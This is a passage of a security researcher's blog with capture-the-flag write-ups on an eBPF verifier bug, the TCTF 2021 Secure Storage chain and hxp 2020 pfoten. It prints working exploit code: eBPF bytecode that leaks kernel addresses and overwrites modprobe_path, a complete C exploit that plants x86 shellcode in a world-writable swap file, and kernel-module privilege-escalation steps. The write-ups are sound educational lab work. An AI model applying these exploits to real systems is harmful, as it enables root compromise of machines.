There are many useful resources about eBPF online, the ones that are most useful for me to solve this challenge are this introduction to low-level stuff of eBPF and this exploit of an eBPF CVE. To be short, eBPF is a virtual machine that runs in Linux kernel. We can provide bytecode to kernel in user program, and kernel will check if the bytecode is secure and valid to be run in kernel before loading them; if the check is passed, the kernel will load the bytecode and run it in certain event. Note that the check is done before the bytecode is run instead of when the bytecode is running. Therefore, if the check is somewhat wrong, which allows insecure bytecode to be loaded and run, the kernel can be compromised. This is exactly what this challenge is about.

eBPF Environment

Configuring development environment for eBPF in C takes me quite long time, because the sock_example provided cannot be compiled successfully on my computer. Finally, the CVE exploit mentioned above solved this problem for me, so that I can implement eBPF API using syscall directly. Thus finally, the only required header file is bpf_insn.h, which can be downloaded from Linux repository easily.

There is also another problem: we cannot compile the exploit using musl-gcc, which produces small binary. The problem is that it seems that musl-gcc cannot find the <linux/xxx.h> header files. I solved this by preprocessing exploit using gcc -E and compiling the preprocessing output using musl-gcc:

gcc -E exp.c -o fs/exp.c
musl-gcc -static fs/exp.c -o fs/exp

This is a quite useful trick when musl-gcc cannot compile the exploit that can be compiled using gcc.

0x02 Vulnerability

The first patch adds a bool auth_map field to struct bpf_reg_state, which is the structure used to represent the state of register when performing bytecode verification. The second patch allows BPF_XOR operation for PTR_TO_MAP_VALUE type register in function adjust_ptr_min_max_vals:

case BPF_XOR:
    // As long as we downgrade the result to scalar it is safe.
    if (dst_reg->type == PTR_TO_MAP_VALUE) {
        dst_reg->type = SCALAR_VALUE;
        dst_reg->auth_map = true;
        break;
    }

When BPF_XOR is applied to scalar register that is converted from PTR_TO_MAP_VALUE by BPF_XOR operation, it is set back to PTR_TO_MAP_VALUE type.

// in function adjust_scalar_min_max_vals
case BPF_XOR:
    /* Restore the pointer type.*/
    if (dst_reg->auth_map) {
        dst_reg->auth_map = false;
        dst_reg->type = PTR_TO_MAP_VALUE;
        break;
    }

The problem is obvious: if we apply BPF_XOR to PTR_TO_MAP_VALUE register, it will be converted to SCALAR_VALUE type and auth_map is set to true; then we apply BPF_XOR to that register again, since auth_map == true, the type is set back to PTR_TO_MAP_VALUE; however, the operand value provided to 2 BPF_XOR operations can be different, so we can actually set the register to be an arbitrary address but still being PTR_TO_MAP_VALUE type. This can lead to arbitrary memory read and write primitive eventually.

0x03 Exploitation

Get PTR_TO_MAP_VALUE Register

This actually takes me quite long time. I originally thought the value returned from BPF_LD_MAP_FD is PTR_TO_MAP_VALUE but it is actually not. Finally by reading source code and finding reference to RET_PTR_TO_MAP_VALUE_OR_NULL, we find that return type of BPF_FUNC_map_lookup_elem is RET_PTR_TO_MAP_VALUE_OR_NULL, and by checking NULL for it, we can get PTR_TO_MAP_VALUE type. This is also exactly shown in the example provided.

Therefore, we can apply BPF_XOR operation to that register, and it turns out that verification check is passed, which means the vulnerability has already been triggered. We can leak the address of BPF_MAP_TYPE_ARRAY by writing the result of BPF_XOR to the buffer and read the buffer in user space.

Leaking Kernel Address

After some investigation, I found that the BPF_MAP_TYPE_ARRAY buffer is probably stored on heap. Therefore, the idea is to spray tty_struct, which contains a kernel address at +0x18 offset, and read that field to get kernel address. However, after some trial, I found that it is hard to allocate tty_struct adjacent to the BPF_MAP_TYPE_ARRAY buffer; nonetheless, I also found that although tty_struct is quite far from BPF_MAP_TYPE_ARRAY buffer, the offset from the buffer to tty_struct is quite constant: 0x21ef0. Therefore, we can just add this constant offset to buffer address and read the +0x18 field to leak kernel address. However, this is not 100% stable and need some brute-force to make this assumption true.

The bytecode for leaking is shown below:

struct bpf_insn insns[]={
	BPF_MOV64_IMM(BPF_REG_0, 0),
	BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), /* *(u32 *)(fp - 4) = r0 */
	BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
	BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
	BPF_LD_MAP_FD(BPF_REG_1, EXP_MAP_FD),
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
	BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 11+1),

	BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
	BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),
	BPF_MOV64_REG(BPF_REG_3, BPF_REG_0),
	BPF_ALU64_IMM(BPF_XOR, BPF_REG_2, 0), // convert r2, r1 to scalar
	BPF_ALU64_IMM(BPF_XOR, BPF_REG_1, 0),
	BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x21ef0+0x18),
	BPF_ALU64_REG(BPF_XOR, BPF_REG_0, BPF_REG_2), // r0 = dst ^ src
	BPF_ALU64_REG(BPF_XOR, BPF_REG_1, BPF_REG_0), // r1 = src ^ dst ^ src = dst
	BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, 0), // r2 = [dst] = kernel940
	BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x451200), // r2 = &modprobe
	BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_2, 0), // store and leak modprobe

	BPF_JMP_IMM(BPF_JMP, BPF_REG_0, 0, 1),
	BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 */
	BPF_EXIT_INSN(),
};

There are also some points to note:

We need to add some constant to register containing buffer address, but cannot use that register to load memory data directly later; this is because it seems that verifier can detect the out-of-bound access if we do this; so we need to use xor magic to indirectly make a PTR_TO_MAP_VALUE register pointing to tty_struct.
One weird thing is, even if we don’t use BPF_XOR, we can still somewhat leak the address of buffer; I am not sure why this happens.
You may ask why I only leak the kernel address in this step, instead of performing the whole exploitation that rewrites modprobe_path using arbitrary write; the problem is if operand register of BPF_XOR originates from load operation of PTR_TO_MAP_VALUE register, second BPF_XOR cannot convert the register back to PTR_TO_MAP_VALUE type. I would guess the reason that patch is added to adjust_scalar_min_max_vals, which, according to its name, is used to analyze range of a scalar; however, verifier cannot decide range of value loaded from BPF_MAP_TYPE_ARRAY memory, so this function will possibly not be called and the patch that converts scalar back to PTR_TO_MAP_VALUE is not triggered.
It seems that sometimes if we apply BPF_XOR to a register for more than 2 times, the kernel will crash when loading the bytecode; I am not sure why this happens either.

Rewriting modprobe_path

Then we are going to exploit the bug again to rewrite modprobe_path and read the flag. This time, instead of loading address of modprobe_path from memory, we apply it directly as constant, so the problem in last step does not exist. Then we can use the xor magic again to have a PTR_TO_MAP_VALUE register pointing to &modprobe_path, so that storing to that register rewrites modprobe_path.

The bytecode is shown below:

struct bpf_insn insns2[]={
	BPF_MOV64_IMM(BPF_REG_0, 0),
	BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), /* *(u32 *)(fp - 4) = r0 */
	BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
	BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
	BPF_LD_MAP_FD(BPF_REG_1, expmapfd),
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
	BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 28+1),

	BPF_MOV64_REG(BPF_REG_3, BPF_REG_0),
	BPF_ALU64_IMM(BPF_XOR, BPF_REG_3, 0), // convert r0, r3 to scalar
	BPF_ALU64_IMM(BPF_XOR, BPF_REG_0, 0),
	BPF_MOV64_IMM(BPF_REG_1, 0),
	BPF_MOV64_IMM(BPF_REG_2, (modprobe >> 0x30) & 0xffff),
	BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 0x30),
	BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
	BPF_MOV64_IMM(BPF_REG_2, (modprobe >> 0x20) & 0xffff),
	BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 0x20),
	BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
	BPF_MOV64_IMM(BPF_REG_2, (modprobe >> 0x10) & 0xffff),
	BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 0x10),
	BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),
	BPF_MOV64_IMM(BPF_REG_2, (modprobe) & 0xffff),
	BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2), // r1 = &modprobe
	BPF_ALU64_REG(BPF_XOR, BPF_REG_0, BPF_REG_1), // r0 = src ^ &modprobe
	BPF_ALU64_IMM(BPF_XOR, BPF_REG_0, 0), // convert r0 back to PTR_TO_MAP_VALUE
	BPF_ALU64_REG(BPF_XOR, BPF_REG_3, BPF_REG_0), // r3 = src ^ src ^ &modprobe
	BPF_MOV64_IMM(BPF_REG_4, 0),
	BPF_MOV64_IMM(BPF_REG_2, (tmp_x >> 0x20) & 0xffff),
	BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 0x20),
	BPF_ALU64_REG(BPF_OR, BPF_REG_4, BPF_REG_2),
	BPF_MOV64_IMM(BPF_REG_2, (tmp_x >> 0x10) & 0xffff),
	BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 0x10),
	BPF_ALU64_REG(BPF_OR, BPF_REG_4, BPF_REG_2),
	BPF_MOV64_IMM(BPF_REG_2, (tmp_x) & 0xffff),
	BPF_ALU64_REG(BPF_OR, BPF_REG_4, BPF_REG_2), // r4 = /tmp/x
	BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_4, 0), // rewrite modprobe_path

	BPF_JMP_IMM(BPF_JMP, BPF_REG_0, 0, 1),
	BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 */
	BPF_EXIT_INSN(),
};

There are also 2 points to note:

We have to load the immediate number using BPF_LSH and BPF_OR, because BPF_MOV64_IMM can only support 32-bit signed immediate number.
We cannot apply BPF_XOR, PTR_TO_MAP_VALUE register, &modprobe_path register directly because this will raise an error, since value of &modprobe_path is too low as signed 64-bit integer and is less than a minimum value; instead, we need to convert the register to scalar first before applying this operation, and after this operation the register becomes PTR_TO_MAP_VALUE again, so we need to apply a BPF_XOR again to convert it back to scalar. Fortunately, such 3-times BPF_XOR does not cause any crash when loading the bytecode.

The full exploit is here.

0x04 Conclusion

This challenge is quite good since I have learned a lot about eBPF when solving this challenge. I hope eBPF can also be a good attack interface when doing real world Linux kernel vulnerability research.

TCTF 2021 Secure Storage

Tue, 06 Jul 2021 00:00:00 +0000

0x00 Overview

Last weekend I played TCTF Qualifier online and spent all of my time on this challenge, but still failed to solve it in time. After the contest, I finally solved this challenge. This is a crazy nested challenge: we firstly need to use side channel attack to leak admin_key.txt; then we need to exploit ss_agent to get the ability to open and operate on /dev/ss; then we need to exploit ss.ko to get the root shell; finally we need to exploit qemu to get the flag outside. Since the qemu part has no relation to other parts of the challenge, and it’s my teammate rather than me who solved this part, I will not cover it in this writeup.

0x01 Reverse Engineering

ss_agent

This is a menu Pwn challenge. In initialization, it firstly adds a flock to itself to prevent multiple instances being run, and reads admin_key.txt to a global buffer. It has 4 options:

register: read a length and a name from stdin, and store them with admin_key to kernel storage slot 0; note that the length passed to kernel storage is buffer length instead of actual length of the name, so it is possible to leak uninitialized heap buffer data here.
store: read slot, data and key from stdin, and store them to kernel storage with given slot. The slot here cannot be 0.
retrieve: read slot and key from stdin, and compare the given key with key stored in kernel storage with given slot; if they are same, output the data stored in kernel storage.
kick: read admin key from stdin, and compare the given key with key stored in kernel storage slot 0; if they are same, output the data in storage 0 (which is the name provided in register) and free the name pointer without setting it to NULL, so here is a double free.

The kernel storage access is implemented by ioctl and mmap, the user-space code is shown below:

char *__fastcall get_ss_mmap_page(unsigned int slot)
{
  char *result; // rax
  signed int fd; // [rsp+10h] [rbp-10h]
  int fd_4; // [rsp+14h] [rbp-Ch]
  char *v4; // [rsp+18h] [rbp-8h]

  fd = open("/dev/ss", 2); // open /dev/ss
  if ( fd < 0 )
    return 0LL;
  if ( (ioctl(fd, 0, slot) & 0x80000000) == 0LL ) // use ioctl to set the slot
  {
    v4 = (char *)mmap(0LL, 0x10000uLL, 3uLL, 1uLL, (unsigned int)fd, 0LL);
    // use mmap to map the kernel storage into user space
    fd_4 = close(fd);
    if ( v4 && fd_4 >= 0 )
      result = v4; // return the kernel page if there is no problem
    else
      result = 0LL;
  }
  else ...
  return result;
}

The format of kernel storage is 8-byte data length + data + 32-byte key, as we can see when ss_agent writes the storage.

__int64 __fastcall write_to_storage(unsigned int slot, char *a2, unsigned __int64 len, char *a4)
{
  __int64 result; // rax
  char *v7; // [rsp+28h] [rbp-8h]

  if ( len > 0xFFD7 )
    return 0xFFFFFFFFLL;
  v7 = get_ss_mmap_page(slot);
  if ( !v7 )
    return 0xFFFFFFFFLL;
  *(_QWORD *)v7 = len;
  _memcpy((v7 + 8), a2, len);
  _memcpy(&v7[len + 8], a4, 32LL);// layout: length + data + key
  if ( (int)munmap((__int64)v7) >= 0 )
    result = 0LL;
  else
    result = 0xFFFFFFFFLL;
  return result;
}

However, to exploit this ss_agent, we have to leak admin_key.txt first, otherwise we cannot trigger the double free bug.

ss.ko

This is the kernel module that implements /dev/ss device. The functionality can be briefly described as follows:

In handler of open at 0x390, private_data field (+0xc8) of struct file* is initialized to a structure used to store slot, which is initialized to value -1.
In handler of ioctl at 0x710, slot is stored into structure pointed by private_data; note that we can only call ioctl once for each fd.
In handler of mmap at 0x7e0, page fault handler 0x3e0 is registered.
The handler of page fault at 0x3e0 is an important function, so its code is shown below:

__int64 __fastcall fault(struct vm_fault *fau)
{
  unsigned int v1; // er14
  int v2; // eax
  unsigned __int64 access_off; // rbx
  __int64 slot; // r12
  char *returned_vpage; // r15
  __int64 phy_page; // rax
  __int64 v7; // rcx
  __int64 v8; // rdx
  __int64 v9; // r13
  int v10; // er12
  mut *v11; // r13
  int page_idx; // eax
  int v13; // ebx
  char *v14; // r12
  int v15; // edx

  v1 = 2;
  v2 = (LODWORD(fau->vma->vm_pgoff) << 12) + ((fau->pgoff - LODWORD(fau->vma->vm_start)) & 0xFFFFF000);
  // vm_pgoff seems to be 0;
  // pgoff seems to be virtual address accessed with low 12 bits cleared to 0;
  // vm_start seems to be base virtual address returned from mmap
  if ( v2 <= 0xFFFF ) // negative v2 can pass the check!
  {
    access_off = v2;
    slot = **(_QWORD **)(fau->vma->vm_file + 200);
    returned_vpage = &mmap_buffer[0x10000 * slot + v2];
    // calculate buffer address corresponding to the access
    phy_page = vmalloc_to_page(returned_vpage);
    v7 = *(_QWORD *)(phy_page + 8);
    v8 = v7 - 1;
    if ( (v7 & 1) == 0 )
      v8 = phy_page;
    _InterlockedIncrement((volatile signed __int32 *)(v8 + 0x34));
    fau->page = (struct page *)phy_page;        // return the page
    v9 = slot;
    v10 = 16 * slot;
    v11 = &mutexes[v9];
    mutex_lock(v11);
    page_idx = v10 + (access_off >> 12);        // offset to mmap_buffer >> 12
    v13 = ((_BYTE)v10 + (unsigned __int8)(access_off >> 12)) & 7;
    v14 = &bitmap[page_idx >> 3];
    v15 = (unsigned __int8)*v14;
    if ( !_bittest(&v15, v13) )
    // use offset in PAGE_SIZE unit as index to access the bitmap
    {
      if ( (unsigned int)sub_90(page_idx, returned_vpage, 0) )
      {
        mutex_unlock(v11);
        return v1;
      }
      *v14 |= 1 << v13;                         // set to 1
    }
    v1 = 0;
    mutex_unlock(v11);
  }
  return v1;
}

When we use this kernel module, following occurs step by step:

We call open to open /dev/ss, ioctl to set slot, and mmap to register the fault handler and return a piece of virtual memory corresponding to the handler, without actually allocating physical memory for the virtual memory.
When we first time use the virtual memory returned from mmap, the page fault handler at 0x3e0 is called.
The handler firstly calculate the offset of accessed page to virtual address returned from mmap, the value is stored in v2; and then it checks value of v2, the process continues only if v2 <= 0xffff.
The handler obtains value of slot from struct file*, it then calculates the page to be returned using &mmap_buffer[0x10000 * slot + v2]; in other word, this kernel page is going to be mapped into user space; mmap_buffer is a global buffer in ss.ko with size 0x100000.
Then vmalloc_to_page is called to convert the kernel virtual address into physical address, and its return value is set to page field of struct vm_fault* as the result of this fault handler.
Then the offset stored in v2 is shifted and used as index to a bitmap; if the returned bit is zero, sub_90 is called on the returned page, in which many operations are done; then that bit is set to one.
After fault handler is returned, the corresponding virtual memory in user space now has physical memory mapping, which maps to corresponding page in mmap_buffer; so future access to this virtual page will not cause fault anymore.

Debugging

To inspect memory of ss.ko and set breakpoint to ss.ko, we need to know its address in memory. My approach is shown as following:

Use cat /proc/kallsyms | grep cleanup_module to get address of function cleanup_module
In gdb, type x/2i on address from step 1, then we can get address of unk_1300
In gdb, type x/10gx on address from step 2, then we can get address of sub_0, which is base address of code segment
In gdb, type x/i on address from step 3 +0x669, we can get address of mmap_buffer

0x02 Side Channel Attack

Now we are going to leak admin_key.txt using time-based side channel attack. We observed that: 1. memcmp function is implemented byte-by-byte; 2. page fault that calls sub_90 takes quite long time. Therefore, we can manipulate the layout of slot 0 so that the first byte of admin_key is in the first page and remaining parts are in the second page. Therefore, when we call kick, if first byte of our input does not equal to first byte of admin_key, the second page will not be accessed so comparison should be fast; otherwise the second byte will be accessed, causing page fault and sub_90 to be called, which makes comparison slow. We can use this approach to brute-force first byte of admin_key. Then we can shift the admin_key to left (e.i. reduce length of name) by 1 byte and use the same approach to get the following bytes.

Note that we cannot do this in Python pwntools, because network latency fluctuation is much more than the difference mentioned above. Instead, we have used C to implement such attack. We upload the program to remote and run it directly, so there will be no network latency. Anonymous pipe is used for IO interaction, and __rdtsc is used for time difference calculation, you can read exploit code for more details.

Another thing to note is we need to ensure sub_90 to be called when handling page fault, otherwise the latency might be insignificant. This is the case if we separate name registration and kick comparison into different process instances.

The full exploit is here.

0x03 Exploit `ss_agent`

As I briefly mentioned above, there is a double free bug in ss_agent. Trying the double free for small-size chunk, we found that there is no crash, and there is tcache string in the binary, so I would say the static binary is generated using possibly libc-2.27. Knowing this, we can write exploit like a normal menu challenge:

Trigger double free to poison tcache, so we can leak heap address.
By debugging, we found that some program data addresses are stored in heap section; although I am not sure why, program address can be leaked by allocating chunk at that region.
There is also a stack address stored in heap section, so we can leak it in the same way as step 2.
Allocate a chunk at stack, so we can write ROP, which means ss_agent has already been compromised.

Instead of using pwntools, I used C for this part again, because I found that sending binary data via qemu interface causes problem.

To debug this binary, I patched it so that only heap operations remain. Thus we can run it without /dev/ss. This makes debugging much more convenient since we don’t need to deal with kernel stuff anymore.

The full exploit is here.

Initially I thought I could have root once ss_agent is compromised, because it has a setgid being set. However, this is wrong. The access permission of /challenge/ss_agent is -rwxr-sr-x and access permission of /dev/ss is crw-rw----. Therefore, although ss_agent can access /dev/ss, it does not run in root; instead, it runs in the group of root; and such group privilege even does not persist after an execve system call.

However, we need to run arbitrary code that can operate on /dev/ss in order to exploit ss.ko. I came up with 2 approaches:

Compile the exploit into shellcode, and run the shellcode in /challenge/ss_agent process to get the root shell; however, this is quite complicated to do.
Open /dev/ss in ROP chain, and execve to our exploit; these opened file descriptors will remain valid after execve; thus we can operate on /dev/ss even if we don’t have permission to open it.

Obviously, the second one is more convenient for us.

0x04 Exploit `ss.ko`

Now we come back to ss.ko in order to get root shell. The bug is in page fault handler: v2 <= 0xFFFF is a signed comparison; if v2 is negative, we can pass the check and map unintended page into user space. Since v2 is a 32-bit signed integer, we can call mmap with size 0x100000000, and access the last few pages to make v2 = -0x1000 * n. It turns out returned_vpage will be page before mmap_buffer.

In addition, to prevent sub_90 from being called, we need to ensure _bittest to return 1. Fortunately, the bitmap is behind mmap_buffer exactly, so if we set the last page of mmap_buffer to 0xff, _bittest can always return 1 for small negative index.

By debugging, we found there are many useful leaks in the pages before mmap_buffer: we can leak the Linux kernel address and ss.ko address easily.

I have come up with 4 approaches for exploitation, but finally only the last one works:

Map kernel heap into user space; however, heap is too far from ss.ko: heap address is usually 0xffffxxxxxxxxxxxx but ss.ko address is 0xffffffffxxxxxxxx, so we cannot reach heap in 32 bits.
Map page that stores modprobe path into user space; however, when calling vmalloc_to_page on that page, the function returns NULL. I think the reason is probably that this function can convert virtual address to physical address only if this virtual address is allocated via vmalloc, and that page does not satisfy this condition.
Change the function pointer at 0x1600 to hijack kernel rip. We can do this because when we call mmap, the function here will be registered as page fault handler. However, we can do nothing after controlling rip, since smep is enabled.
Map code page of ss.ko into user space and write shellcode into kernel directly. Yes! We can do this! Although code page in kernel is not writable, this is not the case after we map it into user space. Therefore, what I did is rewriting code of mmap handler in kernel into commit_creds(prepare_kernel_cred(0)), so that we can get root privilege after mmap is called.

The full exploit is here.

0x05 Conclusion

This nested challenge is really complicated, but I have learned a lot from it. In addition, I think it is better to put one flag at each stage, instead of one flag for the whole exploit chain.

hxp CTF 2020 pfoten

Mon, 21 Dec 2020 00:00:00 +0000

0x00 Overview

Last weekend I have played hxp 2020 as r3kapig. The challenges are very good. I have solved 3 challenges: Secure Program Config, still-printf and pfoten. Among these challenges, I think pfoten is quite worthy to do a full write-up. The challenge creates a file as swap space, so that some of the memory will be putted into this file when physical memory is not enough and will be then fetched from this file when being used again. The problem is this file is writable by any user. Therefore, when privileged memory like code of a root process is putted into this swap space, we can actually tamper it to our shellcode, so when it is executed again, we can execute arbitrary code in root privilege.

0x01 Vulnerability

Reading rcS file, we can see following code, which is related to the challenge.

dd if=/dev/zero bs=1M count=10 of=/swap status=none
# create a 10M file /swap with content zeros

losetup /dev/loop0 /swap
# https://linux.die.net/man/8/losetup
# set /swap as loop device /dev/loop0
# in order to use /swap as swap space

mkswap /dev/loop0 >/dev/null
swapon /dev/loop0 >/dev/null
# https://man7.org/linux/man-pages/man8/mkswap.8.html
# set /dev/loop0 as *swap space*
# so file /swap is *swap space* now

However, file /swap is writable by any user.

-rw-rw-rw-    1 0        0         10485760 Dec 21 08:10 swap

0x02 Proof of Concept

In order to prove my idea, I have written following PoC to see what will be putted into /swap file.

#include <stdio.h>
#include <memory.h>
#include <stdlib.h>
#include <sys/mman.h>


int main(int argc, char const *argv[])
{
	for (int i = 0; ; ++i)
	{
		char* buffer = mmap(NULL, 1024*1024, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
		memset(buffer, 'A', 1024*1024);
		printf("%d\n", i);
		system("strings /swap");
	}
	return 0;
}

After a few iterations, we can see many interesting outputs from strings command, and some of the strings come from the busybox binary, so my idea is confirmed: /swap will indeed be used to store virtual memory content at disk.

0x03 Exploitation

I have come up with several exploitation ideas:

Store kernel heap memory into /swap, and rewrite cred structure to escalate privilege of our process.
Store kernel code into /swap, and modify these code to privilege escalating shellcode, and call these code in our process. (e.g. some ioctl handler in kernel)
Store code of init process (which is a root process) into /swap, and rewrite them to shellcode.

However, the data to be stored into /swap have to meet some requirements:

It cannot be used when our exploit is running, because Linux only stores infrequently used memory into disk.
It can be used after the content is tampered, otherwise modifying it cannot cause any effect.

Intuitively, kernel heap should be quite frequently-used, so I would guess that first idea might not work properly. I have not tried the second idea but the third one.

I have already seen busybox strings in PoC outputs, and that means we can already dump process memory of this ELF executable file into /swap. Note that all utilities like /init in this kernel image is linking to the /bin/busybox, and we also know that Linux will share read-only memory pages to same physical memory among all processes of same ELF file in order to save physical memory (e.i. r-x page of sh and init are shared). Thus, we can conclude we already have the ability to modify r-x page contents in init process. Therefore, I tried the third idea first and solved the challenge.

Then next question is what to write. The idea is to search binary sequences using memmem in /swap, and replace that sequences to our shellcode. Such sequences can be found by putting busybox binary into IDA.

Firstly, since init run commands in inittab and it should wait until sh exits, I may search and modify code around https://github.com/mirror/busybox/blob/master/init/init.c#L594 to modify the code that will be executed after sh exits. However, I failed to find such code in /swap. I guess maybe that page is used frequently when our exploit runs(?). Then I found a function where busybox call SYS_exit, with sequences 48 63 FF B8 E7 00 00 00 0F 05 BA 3C 00 00 00. I then modified the contents into 0x100 bytes of \xcc. This time kernel panic raises with message saying Code: cc cc cc ....

[   64.302748] RIP: 0033:0x4d12a7
[   64.303098] Code: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc <cc>c
[   64.303680] RSP: 002b:00007ffe2c26b998 EFLAGS: 00000246

Nice! That means our shellcode is executed by init process! However, I admit this is quite accidental, because according to rip value shown in error message, it is the function after the SYS_exit function that is executed by init instead of the exit function in my original thought. After some trying, I found the first instruction being executed is 0x4d12a6, which suggests init is just returning from a syscall at 0x4d12a4 before executing the tampered code. Nonetheless, we can actually execute code in init process! Firstly I tried execve("/bin/sh", NULL, NULL), but that also causes panic in sh. I guess the reason is /bin/sh also links to /bin/busybox, which is already tampered by us. Thus secondly I tried to write shellcode that open and read /dev/fd0 (e.i. flag.txt), and write its content to stdout. This time it works locally! Although we may need to run it several times to find the binary sequences, probably because there is some probability for Linux to store that code into /swap.

544
found!!!
... hxp{test}

0x04 Remote Environment

However, the exploit does not work properly remotely: it encounters EOF at around 400+ iterations. Initially I thought it is because when process is out-of-memory, whole kernel is killed instead of that one process, unlike local environment. But even if I munmap the pages, it still encounters EOF at around same number of iterations. And even if I decreases the size of mmap, it still encounters EOF at same iteration. This is weird. Finally I tried to increase the size of mmap to 0x100000, and this time I got the flag at last 2 minutes of the CTF.

Nonetheless, I still have no idea why such EOF occurs.

The final exploit is shown below:

#define _GNU_SOURCE
#include <stdio.h>
#include <memory.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include <stdbool.h>
#include <sys/mman.h>

#define SWAP_SIZE 0xa00000
// #define NEEDLE "\xE8\xD9\xFE\xFF\xFF\xF6\x43\x0C\x63"
// #define NEEDLE "\x48\xC7\x05\xBD\x00\x30\x00\x43"
const unsigned char NEEDLE[] = {0x48,0x63,0xFF,0xB8,0xE7,0x00,0x00,0x00,0x0F,0x05,0xBA,0x3C,0x00,0x00,0x00};
unsigned char swap[SWAP_SIZE];

void read_all(FILE* f)
{
	size_t already = 0;
	while (true)
	{
		size_t res = fread(swap + already, 1, SWAP_SIZE - already, f);
		// printf("res=%lu\n", res);
		if (res == 0)
		{
			assert(already == SWAP_SIZE);
			return;
		}
		already += res;
	}
}
#define BUFFERS_SIZE 0x80
#define PAGE_SIZE 0x100000

char* buffers[BUFFERS_SIZE] = {0};

int main(int argc, char const *argv[])
{
	size_t count = 0;
	for (int i = 0; i < 0x1000; ++i)
	{
		char* buffer = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
		if (count < BUFFERS_SIZE)
		{ // record into array
			buffers[count++] = buffer;
		}
		else
		{ // if full, clear array
			printf("clear\n");
			for (int j = 0; j < BUFFERS_SIZE; ++j)
			{
				munmap(buffers[j], PAGE_SIZE);
			}
			count = 0;
		}
		memset(buffer, 0, PAGE_SIZE);
		if (i % 100 == 0)
			printf("%d\n", i);
		if (buffer == 0)
			return 0;
		FILE* f = fopen("/swap", "rb+");
		assert(f != NULL);
		read_all(f);
		unsigned char* res = memmem(swap, SWAP_SIZE, NEEDLE, sizeof(NEEDLE));
		if (res)
		{
			size_t off = res - swap;
			fseek(f, off, SEEK_SET);
			// char sc[] = "H\xb8/bin/sh\x00PH\x89\xe7H1\xf6H1\xd2j;X\x0f\x05";
			// unsigned char sc[] = "j\x01\xfe\x0c$H\xb8/dev/fd0PH\x89\xe71\xd21\xf6j\x02X\x0f\x05H\x81\xec\x00\x01\x00\x00H\x89\xc71\xc01\xd2\xb6\x01H\x89\xe6\x0f\x05j\x01_1\xd2\xb6\x01H\x89\xe6j\x01X\x0f\x05";
			unsigned char sc[] = {0x6a, 0x1, 0xfe, 0xc, 0x24, 0x48, 0xb8, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x66, 0x64, 0x30, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x2, 0x58, 0xf, 0x5, 0x48, 0x81, 0xec, 0x0, 0x1, 0x0, 0x0, 0x48, 0x89, 0xc7, 0x31, 0xc0, 0x31, 0xd2, 0xb6, 0x1, 0x48, 0x89, 0xe6, 0xf, 0x5, 0x6a, 0x1, 0x5f, 0x31, 0xd2, 0xb6, 0x1, 0x48, 0x89, 0xe6, 0x6a, 0x1, 0x58, 0xf, 0x5};

			char buf[0x100];
			memset(buf, 0xcc, sizeof(buf));
			size_t sc_off = 0xa7 - 0x77;
			buf[sc_off - 1] = 0x90;
			for (size_t i = 0; i < sizeof(sc); ++i)
			{
				buf[sc_off + i] = sc[i];
				assert(sc_off + i < 0x100);
			}
			size_t res = fwrite(buf, 1, sizeof(buf), f);
			assert(res == sizeof(buf));
			printf("found!!!\n");
			return 0;
		}
		fclose(f);
	}
	return 0;
}

2019's blog

Breaking V8 Sandbox with Trusted Pointer Table

0x00 Abstract

0x01 Trusted Pointer Table

0x02 Faking Object

0x03 Controlling Trusted Region Content

0x04 Executing Shellcode

Codegate CTF 2023: pcpu & sea

pcpu

0x00 Overview

0x01 Reverse Engineering

0x02 Vulnerabilty

sea

0x00 Overview

0x01 OOB Read to Leak Stack Data

0x02 Leaking Key and Initialization Vector

0x03 Code Execution

Google CTF 2022 d8: From V8 Bytecode to Code Execution

0x00 Overview

0x01 V8 Code Caching

Generating Code Cache

0x02 Exploiting V8 Bytecode

CreateArrayLiteral

Controlling Memory after FixedArray

Final Exploit

Dice CTF Memory Hole: Breaking V8 Heap Sandbox

0x00 Introduction

0x01 Sandbox Overview

0x02 Approach

Hijacking Program Counter

Writing Shellcode with Immediate Numbers

Arbitrary Read and Write within V8 Heap Region using TypedArray

AFLGO Source Code Analysis: Graph Construction and Distance Calculation

0x00 Introduction

0x01 Two Stages of Compilation

Generation of Information

Instrumentation

0x02 Calculating Distances

Call Graph Distance

Basic Block Distance

0x03 Others

Hack.lu 2021 Stonks Socket

0x00 Overview

0x01 Vulnerabilities

0x02 Exploitation

